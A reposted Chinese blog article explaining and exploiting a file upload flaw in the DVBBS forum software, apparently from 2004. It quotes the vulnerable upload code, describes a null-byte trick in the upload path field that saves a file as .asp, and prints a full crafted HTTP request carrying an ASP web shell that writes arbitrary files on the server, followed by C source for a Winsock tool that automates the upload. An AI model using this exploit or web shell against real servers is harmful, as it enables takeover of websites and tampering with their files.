zoukankan      html  css  js  c++  java
  • 再贴一个上传的漏洞

    动网论坛上传文件漏洞的原理以及攻击的代码实现


    创建时间:2004-05-17
    文章属性:原创
    文章提交:suei8423 (suei8423_at_163.com)

    动网论坛上传文件漏洞的原理以及攻击的代码实现
                                                                    ----Zwell
                                                                    ---http://www.54nb.com
        最近一段时间比较忙,没什么时间为组织做贡献(实在是没实力,呵呵).刚好前一段时间听小猪说动网
    论坛出了一个上传任意文件的漏洞,当时没怎么明白.但是我看到最近NB论坛上全部都在讨论有关这方面的
    问题,就研究了一下,发现这个漏洞确实存在,而且非常严重,用小猪的话说是DVBBS7.0 SP2以下通杀.虽然有些
    人已经知道了攻击方法,但是还是存在一些问题.下面我就动网的这个漏洞做一下讲解.(不知道会不会被人
    骂,因为这个漏洞实在太大了).
        我们先看一下动网论坛上传文件的相关代码:
     1'===========无组件上传(upload_0)====================
     2sub upload_0()
     3set upload=new UpFile_Class ''建立上传对象
     4upload.GetDate (int(Forum_Setting(56))*1024)   '取得上传数据,不限大小
     5iCount=0
     6
     7if upload.err > 0 then
     8    select case upload.err
     9    case 1
    10    Response.Write "请先选择你要上传的文件 [ <a href=# onclick=history.go(-1)>重新上传</a> ]"
    11    case 2
    12    Response.Write "图片大小超过了限制 "&Forum_Setting(56)&"K [ <a href=# onclick=history.go(-1)>重新上传</a> ]"
    13    end select
    14    exit sub
    15    else
    16formPath=upload.form("filepath")
    17''在目录后加(/)
    18if right(formPath,1)<>"/" then formPath=formPath&"/" 
    19
    20for each formName in upload.file ''列出所有上传了的文件
    21set file=upload.file(formName)  ''生成一个文件对象
    22if file.filesize<100 then
    23    response.write "请先选择你要上传的图片 [ <a href=# onclick=history.go(-1)>重新上传</a> ]"
    24    response.end
    25end if
    26
    27fileExt=lcase(file.FileExt)
    28if CheckFileExt(fileEXT)=false then
    29    response.write "文件格式不正确 [ <a href=# onclick=history.go(-1)>重新上传</a> ]"
    30    response.end
    31end if
    32
    33randomize
    34ranNum=int(90000*rnd)+10000
    35filename=formPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt
    36if file.FileSize>0 then         ''如果 FileSize > 0 说明有文件数据
    37  file.SaveToFile Server.mappath(filename)   ''保存文件
    38'  response.write file.FilePath&file.FileName&" ("&file.FileSize&") => "&formPath&File.FileName&" 成功!<br>"
    39response.write "<script>parent.document.forms[0].myface.value='"&FileName&"'</script>"
    40  iCount=iCount+1
    41end if
    42set file=nothing
    43next
    44set upload=nothing
    45session("upface")="done"
    46Htmend iCount&" 个文件上传结束!"
    47
    48end if
    49end sub
    在上面代码中可以看到这样一句:
    filename=formPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt
    这里,filename是保存的文件名,它是依照上传时间来命名的,最后扩展名是表单中提交过来的文件的扩展名.但是
    程序中对提交文件的类型做了限制,显然想直接上传ASP文件是不可行的.但是我们来看一下做为后辍的依据从哪里
    来的呢?我们可以在reg_upload.asp中找到这样的代码:
    1<form name="form" method="post" action="upfile.asp" enctype="multipart/form-data" >
    2<input type="hidden" name="filepath" value="uploadFace">
    3<input type="hidden" name="act" value="upload">
    4<input type="file" name="file1">
    5<input type="hidden" name="fname">
    6<input type="submit" name="Submit" value="上传" onclick="fname.value=file1.value,parent.document.forms[0].Submit.disabled=true,
    7parent.document.forms[0].Submit2.disabled=true;">
    8</form>
    这样,我们知道了,程序是提取file1表单和fname表单中的值来做判断的.也就是说直接从页面递交我们的ASP文件
    也是行不通了,但是,如果是我们自己构造数据包的话就不一样了.欲望之翼提出的方法就是自已构造数据包来达到欺骗的目的.
    将提交的file1表单和fname表单项的值改成合法的文件名称.这样就可以绕过文件类型的检测了.

    当然,主要的问题不在这里,如果我们只是要上传那些代码的话,我们完全可以直接改文件名就好了.我们的目的
    是要让我们上传的文件名改成ASP,这样我们才可以利用.关键就在这一句了:
    formPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt
    这句话将一段字符串合并起来.我们能改的就是formPath这个参数.在计算机中检测字符串的关键就是看是否碰到'\0'字符,
    如果是,则认为字符串结束了.也就是说我们在构造上传文件保存路径时,只要欺骗计算机,让他认为类似"uploadface\zwell.asp"
    这样的路径参数已经结束了,这样,后面一连串的时间字符我们都可以不要,从而达到直接将文件保存为我们定义的文件名的目的.
    因些,我们要做的是在构造的数据包中,将表单中的filepath改成类似uploadface\zwell.asp'\0'的字符串然后发送出去就行了.
    我们先来看一下数据包的格式(论坛上好像大家用的是WSockExpert,不过我用的是IRIS,我觉得更专业一点,^_^):

    POST /forum/upfile.asp HTTP/1.1
    Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*
    Referer: http://192.168.10.101/a.asp?a=http://uyee.com/forum/upfile.asp
    Accept-Language: zh-cn
    Content-Type: multipart/form-data; boundary=---------------------------7d4a325500d2
    Accept-Encoding: gzip, deflate
    User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; MyIE2; .NET CLR 1.1.4322; .NET CLR 1.0.3705)
    Host: uyee.com
    Content-Length: 1593
    Connection: Keep-Alive
    Cache-Control: no-cache
    Cookie: ASPSESSIONIDQCAQBAQT=NBDJCEFCMIICLJBJKHKMHJEF

    -----------------------------7d4a325500d2
    Content-Disposition: form-data; name="filepath"

    uploadFace\zwell.asp
    -----------------------------7d4a325500d2
    Content-Disposition: form-data; name="act"

    upload
    -----------------------------7d4a325500d2
    Content-Disposition: form-data; name="file1"; filename="C:\1.gif"
    Content-Type: text/plain
     1<%dim objFSO%>
     2<%dim fdata%>
     3<%dim objCountFile%>
     4<%on error resume next%>
     5<%Set objFSO = Server.CreateObject("Scripting.FileSystemObject")%>
     6<%if Trim(request("syfdpath"))<>"" then%>
     7<%fdata = request("cyfddata")%>
     8<%Set objCountFile=objFSO.CreateTextFile(request("syfdpath"),True)%>
     9<%objCountFile.Write fdata%>
    10<%if err =0 then%>
    11<%response.write "<font color=red>save Success!</font>"%>
    12<%else%>
    13<%response.write "<font color=red>Save UnSuccess!</font>"%>
    14<%end if%>
    15<%err.clear%>
    16<%end if%>
    17<%objCountFile.Close%>
    18<%Set objCountFile=Nothing%>
    19<%Set objFSO = Nothing%>
    20<%Response.write "<form action='''' method=post>"%>
    21<%Response.Write "<input type=text name=syfdpath width=32 size=50>"%>
    22<%Response.Write "<br>"%>
    23<%=server.mappath(Request.ServerVariables("SCRIPT_NAME"))%>
    24<%Response.write "<br>"%>
    25<%Response.write "<textarea name=cyfddata cols=80 rows=10 width=32></textarea>"%>
    26<%Response.write "<input type=submit value=save>"%>
    27<%Response.write "</form>"%>

    -----------------------------7d4a325500d2
    Content-Disposition: form-data; name="fname"

    C:\1.gif
    -----------------------------7d4a325500d2
    Content-Disposition: form-data; name="Submit"

    上传
    -----------------------------7d4a325500d2--

    上面的数据我是在WIN2003下调试的.按我前面讲的,只要改几个地方就好了
    1.Content-Disposition: form-data; name="file1"; filename="C:\1.gif"
    2.Content-Disposition: form-data; name="fname"

      C:\1.gif
    3.最重要的地方:uploadFace\zwell.asp,怎么加一个空字符呢?用UltraEdit是个好方法,用16进制编辑,
    (因为'\0'这个字符也占一个位置,所以我们先打入一空格,然后再在UltraEdit里将对就空格符的20改成00).

    至于,最前面的那一段,直接从抓包工具中提取就是了.而且随便一个都行.但是最重要的是要注意这一句:
    Content-Length: 1593
    很多人测试都没成功,就因为这个值设的不对,其实这个值很好算,是从第一个
    "-----------------------------7d4a325500d2"开始算起,到"-----------------------------7d4a325500d2--\r\n\r\n"截止,
    大家看到的"\r\n"是起换行作用,占两个字符.我看论坛上大家论坛时都是说加一个字符值就加一,不是说不对,只是还要这样数,
    代码短倒无所谓,代码要是很长怎么办呢?:),这里告诉大家一个简单的方法:打开记事本,将算长度的代码复制到记事本,保存,
    然后看属性就一目了然了,一个字符都不会错.只是有一点必须注意,必须将最后的那几个换行也复制进来.很多人就是因为没有
    复制换行才失败的.

    写了这么多,我们也看到,每一个这样改太不方便,做了工具是必须的了,呵呵,具体不多说了,部分代码如下:
      1#include <winsock2.h>
      2#include <stdio.h>
      3#include "Resource.h"
      4
      5#pragma    comment(lib,"ws2_32.lib")
      6
      7HINSTANCE        g_hInst;
      8HWND            g_hWnd;
      9HWND            m_up;
     10HWND            m_host;
     11HWND            m_webpath;
     12HWND            m_path;
     13HWND            m_filename;
     14HWND            m_upload;
     15DWORD            m_theadid;
     16BYTE            sendbuf[10000];
     17char            host[80];            //主机地址
     18char            bbspath[50];        //论坛地址
     19char            uppath[20];            //上传目录
     20char            upfilename[50];        //上传文件名
     21char            upfiledata[8000];    //上传文件内容
     22int                sendsize;            //总传送数据大小
     23int                realsndsize = 0;    //传送页面文件的大小
     24char            snddata[8000];
     25char            mm[1000]=
     26                    "<%dim objFSO%>\r\n"
     27                    "<%dim fdata%>\r\n"
     28                    "<%dim objCountFile%>\r\n"
     29                    "<%on error resume next%>\r\n"
     30                    "<%Set objFSO = Server.CreateObject(\"Scripting.FileSystemObject\")%>\r\n"
     31                    "<%if Trim(request(\"syfdpath\"))<>\"\" then%>\r\n"
     32                    "<%fdata = request(\"cyfddata\")%>\r\n"
     33                    "<%Set objCountFile=objFSO.CreateTextFile(request(\"syfdpath\"),True)%>\r\n"
     34                    "<%objCountFile.Write fdata%>\r\n"
     35                    "<%if err =0 then%>\r\n"
     36                    "<%response.write \"<font color=red>save Success!</font>\"%>\r\n"
     37                    "<%else%>"
     38                    "<%response.write \"<font color=red>Save UnSuccess!</font>\"%>\r\n"
     39                    "<%end if%>\r\n"
     40                    "<%err.clear%>\r\n"
     41                    "<%end if%>"
     42                    "<%objCountFile.Close%>\r\n"
     43                    "<%Set objCountFile=Nothing%>\r\n"
     44                    "<%Set objFSO = Nothing%>"
     45                    "<%Response.write \"<form action=\'\' method=post>\"%>\r\n"
     46                    "<%Response.Write \"<input type=text name=syfdpath width=32 size=50>\"%>\r\n"
     47                    "<%Response.Write \"<br>\"%>\r\n"
     48                    "<%=server.mappath(Request.ServerVariables(\"SCRIPT_NAME\"))%>\r\n"
     49                    "<%Response.write \"<br>\"%>\r\n"
     50                    "<%Response.write \"<textarea name=cyfddata cols=80 rows=10 width=32></textarea>\"%>\r\n"
     51                    "<%Response.write \"<input type=submit value=save>\"%>\r\n"
     52                    "<%Response.write \"</form>\"%>\r\n";
     53
     54//获得控件文本
     55char *gettext(HWND chwnd)
     56{
     57    char tmpbuf[10000];
     58    SendMessage(chwnd, WM_GETTEXT, (WPARAM)sizeof(tmpbuf), (LPARAM)tmpbuf);
     59    return tmpbuf;
     60}

     61
     62//设置控件文本
     63void settext(HWND chwnd,char *text)
     64{
     65    SendMessage(chwnd, WM_SETTEXT, (WPARAM)(0), (LPARAM)text);
     66}

     67
     68char *itos(int data)
     69{
     70    char tmp[10];
     71    sprintf(tmp, "%d", data);
     72    return tmp;
     73}

     74
     75//上传线程
     76DWORD WINAPI uploadthread(LPVOID param)
     77{
     78    SOCKET        s;
     79    sockaddr_in sin;
     80    struct hostent * hp;
     81    unsigned int    addr;
     82
     83    s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
     84
     85    ZeroMemory((void *)&sin, sizeof(sin));
     86    
     87    hp = gethostbyname(gettext(m_host));
     88    if (!hp)
     89        addr = inet_addr(gettext(m_host));
     90    if ((!hp)  && (addr == INADDR_NONE) )
     91    {
     92        MessageBox(g_hWnd, "Unable to resolve host""sendbuf", MB_OK);
     93        return 0;
     94    }

     95    if (hp != NULL)
     96        memcpy(&(sin.sin_addr),hp->h_addr,hp->h_length);
     97    else
     98        sin.sin_addr.s_addr = addr;
     99
    100    sin.sin_port = htons(80);
    101    sin.sin_family = AF_INET;
    102
    103    strcpy(host, gettext(m_host));
    104    strcpy(bbspath, gettext(m_webpath));
    105    strcpy(upfiledata, gettext(m_upload));
    106    strcpy(uppath, gettext(m_path));
    107    strcpy(upfilename, gettext(m_filename));
    108
    109    realsndsize = 578 + strlen(uppath) + strlen(upfilename) + strlen(upfiledata) + 1;
    110
    111    sprintf((char *)sendbuf, "POST %s/upfile.asp HTTP/1.1\r\n"
    112                "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n"
    113                "Referer: http://192.168.10.101/a.asp?a=http://uyee.com/forum/upfile.asp\r\n"
    114                "Accept-Language: zh-cn\r\n"
    115                "Content-Type: multipart/form-data; boundary=---------------------------7d4a325500d2\r\n"
    116                "Accept-Encoding: gzip, deflate\r\n"
    117                "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; MyIE2; .NET CLR 1.1.4322; .NET CLR 1.0.3705)\r\n"
    118                "Host: %s\r\n"
    119                "Content-Length: %d\r\n"
    120                "Connection: Keep-Alive\r\n"
    121                "Cache-Control: no-cache\r\n"
    122                "Cookie: iscookies=0; BoardList=BoardID=Show; ASPSESSIONIDQCAQBAQT=NBDJCEFCMIICLJBJKHKMHJEF\r\n\r\n"
    123                "-----------------------------7d4a325500d2\r\n"
    124                "Content-Disposition: form-data; name=\"filepath\"\r\n\r\n"
    125                "%s\\%s",
    126                bbspath,
    127                host,
    128                realsndsize,
    129                uppath,
    130                upfilename);
    131
    132    sendsize = strlen((char *)sendbuf);
    133    sendbuf[sendsize] = '\0';
    134
    135    sprintf(snddata, 
    136                "\r\n"
    137                "-----------------------------7d4a325500d2\r\n"
    138                "Content-Disposition: form-data; name=\"act\"\r\n\r\n"
    139                "upload\r\n"
    140                "-----------------------------7d4a325500d2\r\n"
    141                "Content-Disposition: form-data; name=\"file1\"; filename=\"C:\\1.gif\"\r\n"
    142                "Content-Type: text/plain\r\n\r\n"
    143                "%s\r\n"
    144                "-----------------------------7d4a325500d2\r\n"
    145                "Content-Disposition: form-data; name=\"fname\"\r\n\r\n"
    146                "C:\\1.gif\r\n"
    147                "-----------------------------7d4a325500d2\r\n"
    148                "Content-Disposition: form-data; name=\"Submit\"\r\n\r\n"
    149                "上传\r\n"
    150                "-----------------------------7d4a325500d2--\r\n\r\n",
    151                upfiledata);
    152
    153    strcat((char *)&sendbuf[sendsize+1], snddata);
    154
    155    sendsize += strlen(snddata);
    156    sendsize += 1;
    157
    158    if(SOCKET_ERROR == connect(s, (struct sockaddr *)&sin, sizeof(sin)))
    159    {
    160        MessageBox(g_hWnd, "连接出错!""出错提示:", MB_OK|MB_ICONERROR);
    161        return 0;
    162    }

    163    int sendsz = send(s, (char *)sendbuf, sendsize, 0);
    164    if(sendsz <= 0)
    165        MessageBox(g_hWnd, "发送数据失败", itos(WSAGetLastError()), MB_OK);
    166    char recvbuf[10000];
    167    recv(s, (char*)recvbuf, 100000);
    168    settext(m_upload, recvbuf);
    169    closesocket(s);
    170    return 0;
    171}

    172
    173void WINAPI    On_Command(WPARAM wParam)
    174{
    175    switch (LOWORD(wParam))
    176    {
    177        case ID_UP:
    178            CreateThread(NULL, 0, uploadthread, NULL, NULL, &m_theadid);
    179            break;
    180        case IDCANCEL:
    181            SendMessage(g_hWnd, WM_CLOSE, (WPARAM)(NULL), LPARAM(NULL));
    182            break;
    183    }

    184}

    185
    186static BOOL    CALLBACK MainDlgProc(HWND hWndDlg, UINT msg,    WPARAM wParam, LPARAM lParam)
    187{
    188    switch (msg)
    189    {
    190        case WM_INITDIALOG:
    191            g_hWnd = hWndDlg;
    192            m_up = GetDlgItem(g_hWnd, ID_UP);
    193            m_host = GetDlgItem(g_hWnd, IDC_EDIT1);
    194            m_webpath = GetDlgItem(g_hWnd, IDC_EDIT2);
    195            m_path = GetDlgItem(g_hWnd, IDC_EDIT3);
    196            m_upload = GetDlgItem(g_hWnd, IDC_EDIT4);
    197            m_filename = GetDlgItem(g_hWnd, IDC_EDIT5);
    198            settext(m_host, "192.168.10.101");
    199            settext(m_webpath, "/");
    200            settext(m_path, "uploadface");
    201            settext(m_filename, "zwell.asp");
    202            settext(m_upload, mm);
    203            return TRUE;
    204
    205        case WM_COMMAND:
    206            On_Command(wParam);
    207            break;
    208    
    209        case WM_SIZE:
    210            break;
    211
    212        case WM_CLOSE:
    213            EndDialog(g_hWnd,0);
    214            break;
    215    }

    216    return FALSE;
    217}

    218
    219int    APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE    hPrevInstance, LPSTR lpCmdLine,    int    nCmdShow)
    220{
    221    WSADATA    wsaData;
    222    
    223    g_hInst=hInstance;
    224    if(WSAStartup(MAKEWORD(11), &wsaData))
    225    {
    226        MessageBox(NULL,"无法初始化    Winsock    DLL\t","错误",MB_OK|MB_ICONSTOP);
    227        return 0;
    228    }

    229    DialogBox(g_hInst, MAKEINTRESOURCE(IDD_DIALOG1),    NULL, (DLGPROC)    MainDlgProc);
    230    WSACleanup();
    231    return 1;
    232}

    WINDOWS2003 + VC.NET
    WINDOWS2003 WINDOWS2000测试通过

    完整源代码暂时不提供,大家可以到论坛留言一下,如果联盟同意的话,我再公布吧.
    有什么问题欢迎与我交流:zwell@sohu.com  http://www.54nb.com
    转贴请保证文章完整性.
  • 相关阅读:
    分享一个动态生成RDLC报表的类
    第一次写这么长的js
    [SpringCloud]Gateway入门
    [SpringCloud]Hystrix
    [SpringCloud]Eureka+OpenFeign
    [Java]Socket API编写一个简单的私聊和群聊
    JVM内存分区和各分区溢出测试
    使用Python操作neo4j和画柱状图
    JDK1.8 HashMap为什么在链表长度为8的时候转红黑树,为啥不能是9是10?
    Redis过期策略
  • 原文地址:https://www.cnblogs.com/badwood316/p/755028.html
Copyright © 2011-2022 走看看